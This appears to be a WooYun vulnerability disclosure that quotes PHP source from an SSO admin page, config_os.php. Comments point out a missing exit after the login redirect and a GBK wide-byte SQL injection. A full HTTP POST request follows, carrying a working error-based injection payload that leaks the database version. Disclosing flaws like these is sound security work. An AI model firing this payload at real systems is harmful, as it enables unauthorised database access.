WooYun.org

<?
			require_once('interface.php');
			require_once('SSO_DB.php');
			require_once('class.smarttemplate.php');
			
			//session_id(SID);
			session_start();
			$account_os=$_SESSION['account_os'];
			$time = $_SESSION['time'];
			$error=0;
			//echo $time;
			//echo $_GET['flag'];
			if( empty($account_os) || $_GET['flag'] != $time || empty($_GET['flag']) )
			{
				Header("Location: login.php"); //没有增加exit(1)导致后续语句继续执行，并没有退出，后续就可以直接注入了。
			}
			$st = new SmartTemplate('config_os.html'); 
			$db = new SSO_DB();
			if(isset($_POST['action']) && !empty($_POST['action']))//ɾ������ҳ��
			{
				if($_POST['action'] == 'add')  //���
				{
					$add_s=$db->os_add($_POST['f_os_name'],$_POST['v_os_name'],$_POST['os_mem'],$_POST['AdminCmd_value'],$_POST['AdminPassInfo_value']);
					if(!$add_s)
					{
						//echo '<script type="text/javascript">';
						//echo 'alert("����ϵͳ����Ѵ���")';
						//echo '</script>';
						$error = -1;
					}
					else
					{
						write_ed();
						//echo '<script type="text/javascript">';
						//echo 'alert("��ӳɹ�")';
						//echo '</script>';
						$error = 1;
					}
				}
				if($_POST['action'] == 'del')  //ɾ��
				{
					//echo $_POST['post_id'];
					$db->os_del($_POST['post_id']);
					write_ed();
					//echo '<script type="text/javascript">';
					//echo 'alert("ɾ��ɹ�")';
					//echo '</script>';
					$error = 2;
				}
			}
			if(isset($_POST['edit_id']) && $_POST['action']== 'edit' && !empty($_POST['edit_id']) )  //�༭ȡ���
			{
				
					$db->os_edit($_POST['f_os_name'],$_POST['v_os_name'],$_POST['os_mem'],$_POST['edit_id'],$_POST['AdminCmd_value'],$_POST['AdminPassInfo_value']); //GBK注入
					write_ed();
					//echo '<script type="text/javascript">';
					//echo 'alert("�༭�ɹ�")';
					//echo '</script>';
					$error = 3;
			}

POST /manager/config_os.php HTTP/1.1
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Proxy-Connection: keep-alive
Cookie: PHPSESSID=676fe13cb82d5ba15baccdd1decc0beb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
action=add&f_os_name=admin%df'and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)#&v_os_name=1&os_mem=2&admincmd_value=3&adminpassinfo_value=4